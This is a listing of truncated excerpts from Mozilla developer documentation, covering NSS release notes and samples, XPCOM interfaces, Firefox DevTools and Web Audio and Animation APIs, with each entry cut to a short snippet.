e5:f0:5a:1d:0c:95:7d:f0 cn = globalsign ecc root ca - r4 sha1 fingerprint: 69:69:56:2e:40:80:f4:24:a1:e7:19:9f:14:ba:f3:ee:58:ab:6a:bb cn = globalsign ecc root ca - r5 sha1 fingerprint: 1f:24:c6:30:cd:a4:18:ef:20:69:ff:ad:4f:dd:5f:46:3a:1b:69:aa the version number of the updated root ca list has been set to 2.2 bugs fixed in nss 3.17.3
this bugzilla query returns all the bugs fixed in nss 3.17.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.3 compatibility nss 3.17.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.19.2.3 release notes
nss 3.19.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_3_rtm/src/ new in nss 3.19.2.3 new functionality no new functionality is introduced in
this release.
NSS 3.19.2.4 release notes
nss 3.19.2.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_4_rtm/src/ new in nss 3.19.2.4 new functionality no new functionality has been introduced in
this release.
NSS 3.21.1 release notes
nss 3.21.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_1_rtm/src/ new in nss 3.21.1 new functionality no new functionality is introduced in
this release.
NSS 3.21.2 release notes
nss 3.21.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_2_rtm/src/ new in nss 3.21.2 new functionality no new functionality is introduced in
this release.
NSS 3.21.3 release notes
nss 3.21.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_3_rtm/src/ new in nss 3.21.3 new functionality no new functionality is introduced in
this release.
NSS 3.21.4 release notes
nss 3.21.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_4_rtm/src/ new in nss 3.21.4 no new functionality is introduced in
this release.
NSS 3.22.1 release notes
nss 3.22.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_1_rtm/src/ new in nss 3.22.1 new functionality no new functionality is introduced in
this release.
NSS 3.22.2 release notes
nss 3.22.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_2_rtm/src/ new in nss 3.22.2 new functionality no new functionality is introduced in
this release.
NSS 3.22.3 release notes
nss 3.22.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_3_rtm/src/ new in nss 3.22.3 new functionality no new functionality is introduced in
this release.
NSS 3.25 release notes
ad:82:6a:90:f3:45:7d:46:0e:b4 cn = opentrust root ca g2 sha-256 fingerprint: 27:99:58:29:fe:6a:75:15:c1:bf:e8:48:f9:c4:76:1d:b1:6c:22:59:29:25:7b:f4:0d:08:94:f2:9e:a8:ba:f2 cn = opentrust root ca g3 sha-256 fingerprint: b7:c3:62:31:70:6e:81:07:8c:36:7c:b8:96:19:8f:1e:32:08:dd:92:69:49:dd:8f:57:09:a4:10:f7:5b:62:92 bugs fixed in nss 3.25
this bugzilla query returns all the bugs fixed in nss 3.25: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.25 compatibility nss 3.25 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.26 release notes
dded cn = isrg root x1 sha-256 fingerprint: 96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6 npn is disabled, and alpn is enabled by default the nss test suite now completes with the experimental tls 1.3 code enabled several test improvements and additions, including a nist known answer test bugs fixed in nss 3.26
this bugzilla query returns all the bugs fixed in nss 3.26: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.26 compatibility nss 3.26 shared libraries are backwards compatible with all older nss 3.x shared libraries.
NSS 3.27 release notes
1:78 cn = equifax secure ebusiness ca-1 sha-256 fingerprint: cf:56:ff:46:a4:a1:86:10:9d:d9:65:84:b5:ee:b5:8a:51:0c:42:75:b0:e5:f9:4f:40:bb:ae:86:5e:19:f6:73 cn = equifax secure global ebusiness ca-1 sha-256 fingerprint: 5f:0b:62:ea:b5:e3:53:ea:65:21:65:16:58:fb:b6:53:59:f4:43:28:0a:4a:fb:d1:04:d7:7d:10:f9:f0:4c:07 bugs fixed in nss 3.27
this bugzilla query returns all the bugs fixed in nss 3.27: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.27 compatibility nss 3.27 shared libraries are backwards compatible with all older nss 3.x shared libraries.
NSS 3.28.4 release notes
nss 3.28.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_4_rtm/src/ new in nss 3.28.4 no new functionality is introduced in
this release.
NSS 3.29.3 release notes
nss 3.29.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_3_rtm/src/ new in nss 3.29.3 no new functionality is introduced in
this release.
NSS 3.29.5 release notes
nss 3.29.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_5_rtm/src/ new in nss 3.29.5 no new functionality is introduced in
this release.
NSS 3.29 release notes
bugs fixed in nss 3.29
this bugzilla query returns all the bugs fixed in nss 3.29: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.29 compatibility nss 3.29 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.30.1 release notes
nss 3.30.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_1_rtm/src/ new in nss 3.30.1 no new functionality is introduced in
this release.
NSS 3.34.1 release notes
new in nss 3.34 new functionality none new functions bugs fixed in nss 3.34.1
this bugzilla query returns all the bugs fixed in nss 3.34.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34.1 compatibility nss 3.34.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.34 release notes
new functions bugs fixed in nss 3.34
this bugzilla query returns all the bugs fixed in nss 3.34: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34 compatibility nss 3.34 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36 release notes
bugs fixed in nss 3.36
this bugzilla query returns all the bugs fixed in nss 3.36: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36 compatibility nss 3.36 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.38 release notes
bugs fixed in nss 3.38
this bugzilla query returns all the bugs fixed in nss 3.38: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.38 compatibility nss 3.38 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.39 release notes
sha-256 fingerprint: 27995829fe6a7515c1bfe848f9c4761db16c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.39 bug 1483128 - nss responded to an sslv2-compatible clienthello with a serverhello that had an all-zero random (cve-2018-12384)
this bugzilla query returns all the bugs fixed in nss 3.39: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.39 compatibility nss 3.39 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.41 release notes
g 1412829, reject empty supported_signature_algorithms in certificate request in tls 1.2 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1481271 - resend the same ticket in clienthello after helloretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3
this bugzilla query returns all the bugs fixed in nss 3.41: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41 compatibility nss 3.41 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44.1 release notes
new in nss 3.44.1 new functionality 1546229 - add ipsec ike support to softoken many new fips test cases (note:
this has increased the source archive by approximately 50 megabytes for
this release.) bugs fixed in nss 3.44.1 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) 1515236 - add a sslkeylogfile enable/disable flag at buil...
NSS 3.44 release notes
/sdb.c: logically dead code 1549413 - android log lib is not included in build 1537927 - ipsec usage is too restrictive for existing deployments 1549608 - signature fails with dbm disabled 1549848 - allow building nss for ios using gyp 1549847 - nss's sqlite compilation warnings make the build fail on ios 1550041 - freebl not building on ios simulator 1542950 - macos cipher test timeouts
this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.47 release notes
bug 1577038 - add pk11_getcertsfromprivatekey to return all certificates with public keys matching a particular private key
this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.48 release notes
ettimefunc has incomplete coverage bug 1590678 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1588244 - nss changes for delegated credential key strength checks bug 1459141 - add more cbc padding tests that missed nss 3.47 bug 1590339 - fix a memory leak in btoa.c bug 1589810 - fix uninitialized variable warnings from certdata.perl bug 1573118 - enable tls 1.3 by default in nss
this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49 release notes
600144 - treat clienthello with message_seq of 1 as a second clienthello bug 1603027 - test that esni is regenerated after helloretryrequest bug 1593167 - intermittent mis-reporting potential security risk sec_error_unknown_issuer bug 1535787 - fix automation/release/nss-release-helper.py on macos bug 1594933 - disable building dbm by default bug 1562548 - improve gcm perfomance on aarch32
this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.50 release notes
this bugzilla query returns all the bugs fixed in nss 3.50: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.50 compatibility nss 3.50 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.51 release notes
69 - don't attempt to read the fips_enabled flag on the machine unless nss was built with fips enabled bug 1431940 - fix a null pointer dereference in blake2b_update bug 1617387 - fix compiler warning in secsign.c bug 1618400 - fix a openbsd/arm64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keyschedule when using aes-ni intrinsics
this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.51 compatibility nss 3.51 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.54 release notes
this bugzilla query returns all the bugs fixed in nss 3.54: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.54 compatibility nss 3.54 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.56 release notes
this bugzilla query returns all the bugs fixed in nss 3.56: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.56 compatibility nss 3.56 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS Sample Code sample3
*
this code uses the simplest of the init functions, which does not * require a nss database to exist */ nss_nodb_init("."); /* get a slot to use for the crypto operations */ slot = pk11_getinternalkeyslot(); if (!slot) { cout << "getinternalkeyslot failed" << endl; status = 1; goto done; } /* * part 1 - simple hashing */ cout << "part 1 -- simple hashing" << e...
Initialize NSS database - sample 2
hangepw(slot, oldpw, newpw) != secsuccess) { pr_fprintf(pr_stderr, "failed to change password.\n"); return secfailure; } port_memset(oldpw, 0, pl_strlen(oldpw)); port_free(oldpw); pr_fprintf(pr_stdout, "password changed successfully.\n"); } port_memset(newpw, 0, pl_strlen(newpw)); port_free(newpw); return secsuccess; } /* *
this example illustrates initialization of the nss database.
sample1
*/ printashex(outfile, digest, len); } while (0); /* cleanup */ if (hashcontext != null) hash_destroy(hashcontext); return secsuccess; } /* *
this sample computes the hash of a file and saves it to another file.
nss tech note8
this means that client cache session lifetimes are separate from server session cache lifetimes, and that each server session cache may have its own lifetimes.
New NSS Samples
new nss sample code
this collection of sample code demonstrates how nss can be used for cryptographic operations, certificate handling, ssl, etc.
Build instructions
this can be done in sh or bash as follows: export path=/usr/libexec/binutils220:$path the following build instructions should work for all platforms (with some platform-specific changes as noted).
Installation guide
this is done here: http://lxr.mozilla.org/security/sour...platlibs.mk#53 53 ifeq ($(os_arch), linux) 54 ifeq ($(use_64), 1) 55 extra_shared_libs += -wl,-rpath,'$$origin/../lib64:$$origin/../lib' 56 else 57 extra_shared_libs += -wl,-rpath,'$$origin/../lib' 58 endif 59 endif for example, if you install certutil in /foo/bar/nss/bin and the .so's in /foo/bar/nss/lib, then you only need to add /foo/bar/n...
jschar
obsolete since jsapi 35
this feature is obsolete.
jsint
obsolete since jsapi 13
this feature is obsolete.
JSDBGAPI
ionscript js_getfunctionnative js_getfunctionfastnative js_getscriptprincipals typedef jsstackframe js_frameiterator js_getframescript js_getframepc js_getscriptedcaller js_stackframeprincipals js_evalframeprincipals js_getframeannotation js_setframeannotation js_getframeprincipalarray js_isnativeframe js_getframeobject js_getframescopechain js_getframecallobject js_getframe
this js_getframefunction js_getframefunctionobject js_isconstructorframe js_isdebuggerframe js_getframereturnvalue js_setframereturnvalue js_getframecalleeobject js_getscriptfilename js_getscriptbaselinenumber js_getscriptlineextent js_getscriptversion js_gettopscriptfilenameflags js_getscriptfilenameflags js_flagscriptfilenameprefix jsfilename_null jsfilename_system jsfilena...
SpiderMonkey 52
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
Zest runtimes
the following runtimes are available: java https://github.com/mozilla/zest -
this is the reference implementation the following runtimes are planned or an an early stage of implementation: https://github.com/mozilla/zest/tree/master/js javascript https://github.com/darkowlzz/zest-runner https://github.com/darkowlzz/zest-cli -
this is the zest-cli of js based runner.
Zest usecase: Reporting Security Vulnerabilities to Developers
in
this case the sequence of events could be: the security team discovers a vulnerability using specialist security tools they use those tools to create a zest script which reproduces the problem they hand the script over to the developer the developer adjusts the script to match their local environment they run the script and see the vulnerability they fix the vulnerability they rerun the...
Zest
the language is written in json, but we do not expect people to write zest in
this format - it is designed to be a visual language.
compare-locales
this number won't reach 100% in general, mid 80s should be the target, though.
ROLE_ALERT
assistive technologies typically respond to the role by reading the entire onscreen contents of containers advertising
this role.
Gecko
this page was auto-generated because a user created a sub-page to
this page.
Places
it also introduces new user interfaces for managing all
this information; see places on the mozilla wiki.
SMILE
this article covers features introduced in seamonkey 2 smile is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them.
extIApplication
this content covers features introduced in thunderbird 3 the extiapplication is defined in toolkit/components/exthelper/extiapplication.idl.
extISessionStorage
this content covers features introduced in thunderbird 3 extisessionstorage allows an extension to store data for the life time of the application (e.g.
XML Extras
normally your files should reside on a webserver so
this shouldn't pose a problem (there you do not need that line either).
XPCOM Glue without mozalloc
this library is new in xulrunner 2.0, and it's identical to xpcomglue_s, except that it's compiled without mozalloc.
Components.ID
the exception to
this is the case where a component is written in javascript and needs to register itself with the component manager using its own nsid - an id that is not already registered and thus does not appear in components.classes.
Components.manager
the scriptable methods on the nsicomponentmanager interface can be called directly on
this object.
Components.utils.evalInSandbox
mysandbox.double = double; var result = components.utils.evalinsandbox("x = y + 2; double(x) + 3", mysandbox); console.log(result); // 17 console.log(mysandbox.x); // 7 operations on objects you insert into
this sandbox global scope do not carry privileges into the sandbox: mysandbox.foo = components; //
this will give a "permission denied" error components.utils.evalinsandbox("foo.classes", mysandbox); optional arguments you can optionally specify the js version, filename, and line number of the code being evaluated.
JavaXPCOM
as you will see in
this article, working with xpcom objects in java is not that much different than doing so in c++.
PlXPCOM
the resources here provide information about
this language binding and how to use it.
nsIProfile
this interface is obsolete; you should use nsitoolkitprofileservice instead; however, reference documentation for nsiprofile is available if you're working with old code.
xpcshell
to rectify
this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use javascript 1.8.
nsCategoryManager
class id 16d222a6-1dd2-11b2-b693-f38b02c021b2 contractid @mozilla.org/categorymanager;1 supported interfaces nsicategorymanager remarks
this component is a singleton and should therefore be accessed via the xpcom service manager.
nsIJSCID
js/src/xpconnect/idl/xpcjsid.idlscriptable
this interface provides methods to instantiate a component and access service components.
alloc
this content is now available at nsimemory.alloc().
free
this content is now available at nsimemory.free().
heapMinimize
this content is now available at nsimemory.heapminimize().
isLowMemory
this content is now available at nsimemory.islowmemory().
realloc
this content is now available at nsimemory.realloc().
nsIMenuBoxObject
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) to get access to the box object for a given menu, use code like
this: var boxobject = xulmenu.boxobject.queryinterface(components.interfaces.nsimenuboxobject); method overview boolean handlekeypress(in nsidomkeyevent keyevent); void openmenu(in boolean openflag); attributes attribute type description activechild nsidomelement the currently active menu or menuitem child of the menu box.
canUnload
this content is now available at nsimodule.canunload().
getClassObject
this content is now available at nsimodule.getclassobject().
registerSelf
this content is now available at nsimodule.registerself().
unregisterSelf
this content is now available at nsimodule.unregisterself().
nsIMsgCompFields
in prunichar * recipients, in prbool emailaddressonly ); void convertbodytoplaintext ( ); attachment handling methods void addattachment ( in nsimsgattachment attachment ); void removeattachment ( in nsimsgattachment attachment ); void removeattachments ( ); header methods void setheader(char* name, char* value); references
this interface is the type of the following properties: nsimsgcompose.compfields, nsimsgcomposeparams.composefields
this interface is passed as an argument to the following methods: nsimsgcomposesecure.begincryptoencapsulation, nsimsgcomposesecure.requirescryptoencapsulation, nsimsgsend.createandsendmessage, nsimsgsend.sendmessagefile, nsismimejshelper.getnocertaddresses, nsismimejshelper.getrecipi...
nsIMsgFilter
throws an exception if the action is not label attribute nsmsglabelvalue label; junkscore attribute long junkscore; strvalue attribute autf8string strvalue; customid // action id if type is custom attribute acstring customid; customaction // custom action associated with customid // (which must be set prior to reading
this attribute) readonly attribute nsimsgfiltercustomaction customaction; methods addterm() void nsimsgfilter::addterm ( in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, in boolean booleanand, in acstring arbitraryheader ) getterm() void nsimsgfilter::getterm ( in long ...
nsIMsgRuleAction
throws an exception if the action is not label attribute nsmsglabelvalue label; // junkscore throws an exception if the action type is not junkscore attribute long junkscore; attribute autf8string strvalue; // action id if type is custom attribute acstring customid; // custom action associated with customid // (which must be set prior to reading
this attribute) readonly attribute nsimsgfiltercustomaction customaction; }; ...
nsIMsgSearchNotify
void onsearchdone(in nsresult status); /* * until we can encode searches with a uri,
this will be an * out-of-bound way to connect a set of search terms to a datasource */ /* * called when a new search begins */ void onnewsearch(); }; ...
nsIWorkerScope
dom/interfaces/threads/nsidomworkers.idlscriptable
this interface represents the global scope in which a worker's script runs.
nsIWritablePropertyBag2
xpcom/ds/nsiwritablepropertybag2.idlscriptable
this interface extends nsipropertybag2 with methods for setting properties.
nsIXFormsNSModelElement
extensions/xforms/nsixformsnsmodelelement.idlscriptable please add a summary to
this article.
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable
this interface provides access to the event listeners used when uploading data using the xmlhttprequest object.
nsIXMLHttpRequestUpload
content/base/public/nsixmlhttprequest.idlscriptable
this interface provides access to the features needed when uploading data using nsixmlhttprequest.
nsIXPCException
message - a custom message set by the thrower (defaults to 'exception') result - the nsresult associated with
this exception (defaults to components.results.ns_error_failure) stack - the stack chain (defaults to the current stack) data - additional data object of your choice (defaults to null) inner - an inner exception that triggered
this, if available ...
nsIXSLTException
content/xslt/public/nsixsltexception.idlscriptable please add a summary to
this article.
nsIXSLTProcessorObsolete
obsolete since gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3)
this feature is obsolete.
nsIXULSortService
obsolete since gecko 1.9 void sort(in nsidomnode anode, in astring asortkey, in astring asorthints); constants constant value description sort_comparecase 0x0001 sort_integer 0x0100 methods native code only!insertcontainernode obsolete since gecko 1.9 (firefox 3)
this feature is obsolete.
nsMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use
this to specify the value of a search term [ptr] native nsmsgsearchvalue(nsmsgsearchvalue); %{c++ typedef struct nsmsgsearchvalue { nsmsgsearchattribvalue attribute; union { nsmsgpriorityvalue priority; prtime date; pruint32 msgstatus; /* see msg_flag in msgcom.h */ pruint32 size; nsmsgkey key; print32 age; /* in days */ nsimsgfolder *folder; nsmsglabelvalue label; pruint32 junkstatus; pruint32 junkpercent; } u; char *string; } nsmsgsearchvalue; ...
nsMsgSearchWidgetValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl fes use
this to help build the search dialog box typedef long nsmsgsearchwidgetvalue; /* fes use
this to help build the search dialog box */ [scriptable,uuid(903dd2e8-304e-11d3-92e6-00a0c900d445)] interface nsmsgsearchwidget { const nsmsgsearchwidgetvalue text = 0; const nsmsgsearchwidgetvalue date = 1; const nsmsgsearchwidgetvalue menu = 2; const nsmsgsearchwidgetvalue int = 3; /* added to account for age in days which requires an integer field */ const nsmsgsearchwidgetvalue none = 4; }; ...
Open the debugger - Firefox Developer Tools
there are three ways to open the debugger: select "debugger" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) press ctrl + shift + z on windows and linux, or cmd + opt + z on macos (starting in firefox 71; prior to firefox 66, the letter in
this shortcut was s).
Search - Firefox Developer Tools
this feature may not seem terribly useful when searching a file with a handful of functions in it but when you are searching through a file with dozens of functions, it comes in handy.
Throttling - Firefox Developer Tools
the characteristics emulated are: download speed upload speed minimum latency the table below lists the numbers associated with each network type, but please do not rely on
this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.
Network monitor recording - Firefox Developer Tools
this is useful in situations where, for example, you are trying to get a stable view of a page for debugging purposes, but under normal circumstances the view keeps evolving due to persistent network requests.
Examine Event Listeners - Firefox Developer Tools
the inspector shows the word "event" next to elements in the html pane, that have event listeners bound to them: click the icon, then you'll see a popup listing all the event listeners bound to
this element: each line contains: a right-pointing arrowhead; click to expand the row and show the listener function source code a curved arrow pointing to a stack; click it to show the code for the handler in the debugger the name of the event for which a handler was attached to
this element the name and line number for the listener; you can also click here to expand the row and view the listener function source code a label indicating whether the event bubbles a label indicating the system that defines the event.
Inspect and select colors - Firefox Developer Tools
the color picker includes an eyedropper icon: clicking
this icon enables you to use the eyedropper to select a new color for the element from the page: clicking the color sample while holding down the shift key changes the color format: ...
AnalyserNode.maxDecibels - Web APIs
the maxdecibels property of the analysernode interface is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically,
this specifies the maximum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
AnalyserNode.minDecibels - Web APIs
the mindecibels property of the analysernode interface is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically,
this specifies the minimum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
Animation.finished - Web APIs
every time the animation leaves the finished play state (that is, when it starts playing again), a new promise is created for
this property.
Animation.play() - Web APIs
nommingcake.pause(); //
this function will play when ever a user clicks or taps var growalice = function() { // play alice's animation.
Animation.ready - Web APIs
you'll typically use a construct similar to
this when using the ready promise: animation.ready.then(function() { // do whatever needs to be done when // the animation is ready to run }); example in the following example, the state of the animation will be running when the current ready promise is resolved because the animation does not leave the pending play state in between the calls to pause and play and hence the current ready promise...
Animation.updatePlaybackRate() - Web APIs
this may be a positive number (to speed up or slow down the animation), a negative number (to make it play backwards), or zero (to effectively pause the animation).
AnimationEvent() - Web APIs
elapsedtime optional a float giving the amount of time the animation has been running, in seconds, when
this event fired, excluding any time the animation was paused.
AnimationEvent.elapsedTime - Web APIs
the animationevent.elapsedtime read-only property is a float giving the amount of time the animation has been running, in seconds, when
this event fired, excluding any time the animation was paused.
AnimationEvent - Web APIs
animationevent.elapsedtime read only is a float giving the amount of time the animation has been running, in seconds, when
this event fired, excluding any time the animation was paused.
ArrayBufferView - Web APIs
this is a helper type to simplify the specification; it isn't an interface, and there are no objects implementing it.
AudioBuffer.duration - Web APIs
nnels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.duration); } specification specification status comment...
AudioBuffer.length - Web APIs
nnels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.length); } specification specification status comment ...
AudioBuffer.numberOfChannels - Web APIs
nnels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberofchannels); } specification specification status ...
AudioBuffer.sampleRate - Web APIs
nnels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.samplerate); } specification specification status commen...
AudioBufferSourceNode.loop - Web APIs
when the time specified by the loopend property is reached, playback continues at the time specified by loopstart example in
this example, the audiocontext.decodeaudiodata function is used to decode an audio track and put it into an audiobuffersourcenode.
AudioConfiguration - Web APIs
} }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('
this configuration is ' + (result.supported ?
AudioContext.outputLatency - Web APIs
this is the time, in seconds, between the browser passing an audio buffer out of an audio graph over to the host system's audio subsystem to play, and the time at which the first sample in the buffer is actually processed by the audio output device.
AudioContextOptions.sampleRate - Web APIs
this value should typically be between 8,000 hz and 96,000 hz; the default will vary depending on the output device, but the sample rate 44,100 hz is the most common.
BaseAudioContext.createDelay() - Web APIs
var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.start(); synthsource.connect(synthdelay); synthdelay.connect(destination);
this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function() { synthsource.disconnect(synthdelay); synthdelay.disconnect(destination); synthsource.stop(); playsynth.removeattribute('disabled'); } ...
BaseAudioContext.createGain() - Web APIs
out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for
